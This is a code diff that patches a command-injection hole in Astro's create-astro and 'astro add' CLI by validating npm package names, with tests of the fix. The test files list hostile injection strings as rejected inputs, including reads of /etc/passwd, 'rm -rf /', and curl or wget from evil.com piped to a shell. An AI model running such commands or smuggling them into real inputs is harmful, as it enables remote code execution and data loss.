diff --git a/.changeset/public-lemons-mate.md b/.changeset/public-lemons-mate.md
new file mode 100644
index 000000000000..92bfc40d8204
--- /dev/null
+++ b/.changeset/public-lemons-mate.md
@@ -0,0 +1,5 @@
+---
+'create-astro': patch
+---
+
+Fixes an issue where `--add` could accept any kind of string, leading to different errors. Now `--add` accepts only values of valid integrations and adapters.
diff --git a/.changeset/quiet-cars-burn.md b/.changeset/quiet-cars-burn.md
new file mode 100644
index 000000000000..855d45b46061
--- /dev/null
+++ b/.changeset/quiet-cars-burn.md
@@ -0,0 +1,7 @@
+---
+'create-astro': patch
+'astro': patch
+---
+
+Fixes an issue where the `add` command could accept any arbitrary value, leading the possible command injections. Now `add` and `--add` accepts 
+values that are only acceptable npmjs.org names.
diff --git a/.changeset/tender-bats-tan.md b/.changeset/tender-bats-tan.md
new file mode 100644
index 000000000000..e11976d27a29
--- /dev/null
+++ b/.changeset/tender-bats-tan.md
@@ -0,0 +1,5 @@
+---
+'@astrojs/internal-helpers': minor
+---
+
+Adds a new `/cli` specifier and the utility `NPM_PACKAGE_NAME_REGEX`.
diff --git a/packages/astro/src/cli/add/index.ts b/packages/astro/src/cli/add/index.ts
index 44004143d33a..001ed0e1d5e8 100644
--- a/packages/astro/src/cli/add/index.ts
+++ b/packages/astro/src/cli/add/index.ts
@@ -2,6 +2,7 @@ import fsMod, { existsSync, promises as fs } from 'node:fs';
 import { createRequire } from 'node:module';
 import path from 'node:path';
 import { fileURLToPath, pathToFileURL } from 'node:url';
+import { assertValidPackageName } from '@astrojs/internal-helpers/cli';
 import boxen from 'boxen';
 import { diffWords } from 'diff';
 import { type ASTNode, builders, generateCode, loadFile, type ProxifiedModule } from 'magicast';
@@ -901,6 +902,11 @@ async function validateIntegrations(
 	flags: yargsParser.Arguments,
 	logger: Logger,
 ): Promise<IntegrationInfo[]> {
+	// First, validate all package names to prevent command injection
+	for (const integration of integrations) {
+		assertValidPackageName(integration);
+	}
+
 	const spinner = yoctoSpinner({ text: 'Resolving packages...' }).start();
 	try {
 		const integrationEntries = await Promise.all(
diff --git a/packages/create-astro/package.json b/packages/create-astro/package.json
index ec59aeb8bba7..410aca42c82f 100644
--- a/packages/create-astro/package.json
+++ b/packages/create-astro/package.json
@@ -35,6 +35,7 @@
     "@bluwy/giget-core": "^0.1.6"
   },
   "devDependencies": {
+    "@astrojs/internal-helpers": "workspace:*",
     "arg": "^5.0.2",
     "astro-scripts": "workspace:*"
   },
diff --git a/packages/create-astro/src/actions/dependencies.ts b/packages/create-astro/src/actions/dependencies.ts
index 163108e729eb..01aa36879450 100644
--- a/packages/create-astro/src/actions/dependencies.ts
+++ b/packages/create-astro/src/actions/dependencies.ts
@@ -1,5 +1,6 @@
 import fs from 'node:fs';
 import path from 'node:path';
+import { assertValidPackageName } from '@astrojs/internal-helpers/cli';
 import { color } from '@astrojs/cli-kit';
 import { error, info, title } from '../messages.js';
 import { shell } from '../shell.js';
@@ -23,9 +24,15 @@ export async function dependencies(
 		}));
 		ctx.install = deps;
 	}
-
 	ctx.add = ctx.add?.reduce<string[]>((acc, item) => acc.concat(item.split(',')), []);
 
+	if (ctx.add) {
+		for (const addValue of ctx.add) {
+			// Validate package name to prevent command injection attacks
+			assertValidPackageName(addValue);
+		}
+	}
+
 	if (ctx.dryRun) {
 		await info(
 			'--dry-run',
@@ -86,11 +93,15 @@ async function astroAdd({
 	cwd: string;
 }) {
 	if (packageManager === 'yarn') await ensureYarnLock({ cwd });
-	return shell(
-		packageManager === 'npm' ? 'npx' : `${packageManager} dlx`,
-		['astro add', integrations.join(' '), '-y'],
-		{ cwd, timeout: 90_000, stdio: 'ignore' },
-	);
+
+	// Build command and args properly for spawn without shell interpretation
+	const command = packageManager === 'npm' ? 'npx' : packageManager;
+	const args =
+		packageManager === 'npm'
+			? ['astro', 'add', ...integrations, '-y']
+			: ['dlx', 'astro', 'add', ...integrations, '-y'];
+
+	return shell(command, args, { cwd, timeout: 90_000, stdio: 'ignore' });
 }
 
 async function install({ packageManager, cwd }: { packageManager: string; cwd: string }) {
diff --git a/packages/create-astro/src/shell.ts b/packages/create-astro/src/shell.ts
index ada0998e921e..9d49d197f5fd 100644
--- a/packages/create-astro/src/shell.ts
+++ b/packages/create-astro/src/shell.ts
@@ -27,7 +27,7 @@ export async function shell(
 	let stdout = '';
 	let stderr = '';
 	try {
-		child = spawn(`${command} ${flags.join(' ')}`, {
+		child = spawn(command, flags, {
 			cwd: opts.cwd,
 			shell: true,
 			stdio: opts.stdio,
diff --git a/packages/create-astro/test/dependencies.test.js b/packages/create-astro/test/dependencies.test.js
index 2f1317157c71..b0367fe4ae3d 100644
--- a/packages/create-astro/test/dependencies.test.js
+++ b/packages/create-astro/test/dependencies.test.js
@@ -38,7 +38,6 @@ describe('dependencies', () => {
 	it('prompt no', async () => {
 		const context = {
 			cwd: '',
-			install: true,
 			packageManager: 'npm',
 			dryRun: true,
 			prompt: () => ({ deps: false }),
@@ -78,4 +77,41 @@ describe('dependencies', () => {
 		assert.ok(fixture.hasMessage('Skipping dependency installation'));
 		assert.equal(context.install, false);
 	});
+
+	describe('--add', async () => {
+		it('fails for non-supported integration', async () => {
+			let context = {
+				cwd: '',
+				add: ['foo '],
+				dryRun: true,
+				prompt: () => ({ deps: false }),
+			};
+
+			try {
+				await dependencies(context);
+				assert.fail('The function should throw an error');
+			} catch (error) {
+				assert.ok(
+					error.message.includes('Invalid package name "foo "'),
+					`Expected error about invalid package name, got: ${error.message}`,
+				);
+			}
+			context = {
+				cwd: '',
+				add: ['react', 'bar lorem'],
+				dryRun: true,
+				prompt: () => ({ deps: false }),
+			};
+
+			try {
+				await dependencies(context);
+				assert.fail('The function should throw an error');
+			} catch (error) {
+				assert.ok(
+					error.message.includes('Invalid package name "bar lorem"'),
+					`Expected error about invalid package name, got: ${error.message}`,
+				);
+			}
+		});
+	});
 });
diff --git a/packages/create-astro/test/integrations.test.js b/packages/create-astro/test/integrations.test.js
index da254134a34a..4db46965ea65 100644
--- a/packages/create-astro/test/integrations.test.js
+++ b/packages/create-astro/test/integrations.test.js
@@ -62,4 +62,136 @@ describe('integrations', () => {
 		await dependencies(context);
 		assert.ok(fixture.hasMessage('--dry-run Skipping dependency installation'));
 	});
+
+	describe('Security: Command injection protection', () => {
+		it('blocks semicolon command injection', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['react;whoami'],
+			};
+
+			await assert.rejects(
+				() => dependencies(context),
+				/Invalid package name/,
+				'Should reject command injection with semicolon',
+			);
+		});
+
+		it('blocks command substitution with $()', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['react$(whoami)'],
+			};
+
+			await assert.rejects(
+				() => dependencies(context),
+				/Invalid package name/,
+				'Should reject command substitution with $()',
+			);
+		});
+
+		it('blocks command substitution with backticks', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['react`whoami`'],
+			};
+
+			await assert.rejects(
+				() => dependencies(context),
+				/Invalid package name/,
+				'Should reject command substitution with backticks',
+			);
+		});
+
+		it('blocks pipe operators', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['react|whoami'],
+			};
+
+			await assert.rejects(
+				() => dependencies(context),
+				/Invalid package name/,
+				'Should reject pipe operator injection',
+			);
+		});
+
+		it('blocks ampersand operators', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['react&&whoami'],
+			};
+
+			await assert.rejects(
+				() => dependencies(context),
+				/Invalid package name/,
+				'Should reject ampersand operator injection',
+			);
+		});
+
+		it('blocks redirect operators', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['react>file'],
+			};
+
+			await assert.rejects(
+				() => dependencies(context),
+				/Invalid package name/,
+				'Should reject redirect operator injection',
+			);
+		});
+
+		it('allows scoped packages', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['@astrojs/tailwind'],
+			};
+
+			await dependencies(context);
+			assert.ok(
+				fixture.hasMessage(
+					'--dry-run Skipping dependency installation and adding @astrojs/tailwind',
+				),
+			);
+		});
+
+		it('allows valid package names', async () => {
+			const context = {
+				cwd: '',
+				yes: true,
+				packageManager: 'npm',
+				dryRun: true,
+				add: ['my-package', 'package_2.0'],
+			};
+
+			await dependencies(context);
+			assert.ok(
+				fixture.hasMessage(
+					'--dry-run Skipping dependency installation and adding my-package, package_2.0',
+				),
+			);
+		});
+	});
 });
diff --git a/packages/create-astro/test/package-name-validation.test.js b/packages/create-astro/test/package-name-validation.test.js
new file mode 100644
index 000000000000..901618313b3e
--- /dev/null
+++ b/packages/create-astro/test/package-name-validation.test.js
@@ -0,0 +1,198 @@
+import assert from 'node:assert/strict';
+import { describe, it } from 'node:test';
+import { NPM_PACKAGE_NAME_REGEX } from '@astrojs/internal-helpers/cli';
+
+describe('NPM Package Name Validation', () => {
+	describe('Valid package names', () => {
+		it('accepts simple lowercase names', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('react'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('vue'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('svelte'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('solid'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('preact'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('alpinejs'));
+		});
+
+		it('accepts names with hyphens', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('my-package'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('some-cool-integration'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('astro-integration'));
+		});
+
+		it('accepts names with underscores', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('my_package'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('some_integration'));
+		});
+
+		it('accepts names with dots', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('my.package'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('package.js'));
+		});
+
+		it('accepts names with mixed valid characters', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('my-package.js'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('some_cool-package.js'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('integration-2.0'));
+		});
+
+		it('accepts names with numbers', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('package2'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('3d-viewer'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('v8'));
+		});
+
+		it('accepts scoped packages', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@astrojs/tailwind'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@astrojs/react'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@myorg/my-package'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@company/integration'));
+		});
+
+		it('accepts scoped packages with complex names', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/my-package.js'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/package_with_underscores'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/package-2.0'));
+		});
+
+		it('accepts packages with tilde', () => {
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('~package'));
+			assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/~package'));
+		});
+	});
+
+	describe('Invalid package names', () => {
+		it('rejects names with spaces', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('my package'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('foo bar'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react '));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test(' react'));
+		});
+
+		it('rejects names with uppercase letters', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('React'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('MyPackage'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('PACKAGE'));
+		});
+
+		it('rejects empty strings', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test(''));
+		});
+
+		it('rejects names starting with dots', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('.package'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('..package'));
+		});
+
+		it('rejects names starting with underscores', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('_package'));
+		});
+	});
+
+	describe('Security: Command injection attempts', () => {
+		it('blocks semicolon command injection', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react;whoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package;ls'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('foo;rm -rf /'));
+		});
+
+		it('blocks command substitution with $()', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react$(whoami)'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$(ls)'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package$(id)'));
+		});
+
+		it('blocks command substitution with backticks', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react`whoami`'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('`ls`'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package`id`'));
+		});
+
+		it('blocks pipe operators', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react|whoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package|cat /etc/passwd'));
+		});
+
+		it('blocks ampersand operators', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react&&whoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react&whoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package||ls'));
+		});
+
+		it('blocks redirect operators', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react>file'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package>>file'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package<file'));
+		});
+
+		it('blocks newlines and special characters', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react\nwhoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package\r\nls'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package\twhoami'));
+		});
+
+		it('blocks quotes and escapes', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test("react'whoami'"));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react"whoami"'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react\\whoami'));
+		});
+
+		it('blocks parentheses without $', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react(whoami)'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package()'));
+		});
+
+		it('blocks curly braces', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react{whoami}'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('{package}'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('{ whoami }'));
+		});
+
+		it('blocks asterisks and wildcards', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react*'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('*package'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package?'));
+		});
+
+		it('blocks square brackets', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react[whoami]'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('[package]'));
+		});
+
+		it('blocks hash/comment characters', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react#whoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('#package'));
+		});
+
+		it('blocks dollar signs not in command substitution', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react$var'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$package'));
+		});
+
+		it('blocks exclamation marks', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react!'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('!whoami'));
+		});
+
+		it('blocks equals signs', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react=1.0'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package=value'));
+		});
+
+		it('blocks percent signs', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react%whoami'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('%package'));
+		});
+
+		it('blocks plus signs (except at start)', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react+plus'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package+'));
+		});
+
+		it('blocks complex injection attempts', () => {
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react && curl evil.com | sh'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package; wget malware; chmod +x malware; ./malware'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('`curl http://evil.com/script.sh | bash`'));
+			assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$(curl -s http://malicious.com/payload.sh|bash)'));
+		});
+	});
+});
diff --git a/packages/internal-helpers/package.json b/packages/internal-helpers/package.json
index ea91d947de08..7ef5026f7feb 100644
--- a/packages/internal-helpers/package.json
+++ b/packages/internal-helpers/package.json
@@ -14,7 +14,8 @@
   "exports": {
     "./path": "./dist/path.js",
     "./remote": "./dist/remote.js",
-    "./fs": "./dist/fs.js"
+    "./fs": "./dist/fs.js",
+    "./cli": "./dist/cli.js"
   },
   "typesVersions": {
     "*": {
@@ -26,6 +27,9 @@
       ],
       "fs": [
         "./dist/fs.d.ts"
+      ],
+      "cli": [
+        "./dist/cli.d.ts"
       ]
     }
   },
diff --git a/packages/internal-helpers/src/cli.ts b/packages/internal-helpers/src/cli.ts
new file mode 100644
index 000000000000..09889d96e168
--- /dev/null
+++ b/packages/internal-helpers/src/cli.ts
@@ -0,0 +1,49 @@
+/**
+ * Validates npm package names to prevent command injection attacks in CLI tools.
+ *
+ * This regex follows npm naming rules and blocks shell metacharacters that could
+ * be used for command injection attacks.
+ *
+ * @see https://docs.npmjs.com/cli/v10/configuring-npm/package-json#name
+ */
+export const NPM_PACKAGE_NAME_REGEX = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
+
+/**
+ * Validates a package name for use in CLI commands.
+ *
+ * @param packageName - The package name to validate
+ * @returns true if the package name is valid, false otherwise
+ *
+ * @example
+ * ```ts
+ * validatePackageName('react'); // true
+ * validatePackageName('@astrojs/tailwind'); // true
+ * validatePackageName('react; whoami'); // false
+ * validatePackageName('react$(whoami)'); // false
+ * ```
+ */
+export function validatePackageName(packageName: string): boolean {
+	return NPM_PACKAGE_NAME_REGEX.test(packageName);
+}
+
+/**
+ * Validates a package name and throws an error if invalid.
+ *
+ * @param packageName - The package name to validate
+ * @throws {Error} If the package name is invalid
+ *
+ * @example
+ * ```ts
+ * assertValidPackageName('react'); // OK
+ * assertValidPackageName('react; whoami'); // throws Error
+ * ```
+ */
+export function assertValidPackageName(packageName: string): asserts packageName is string {
+	if (!validatePackageName(packageName)) {
+		throw new Error(
+			`Invalid package name "${packageName}". Package names must follow npm naming rules: ` +
+				`lowercase letters, numbers, hyphens, underscores, and dots. ` +
+				`Scoped packages like @org/package are also supported.`,
+		);
+	}
+}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index be6d85184117..f8e0e8a052d3 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -4645,6 +4645,9 @@ importers:
         specifier: ^0.1.6
         version: 0.1.6
     devDependencies:
+      '@astrojs/internal-helpers':
+        specifier: workspace:*
+        version: link:../internal-helpers
       arg:
         specifier: ^5.0.2
         version: 5.0.2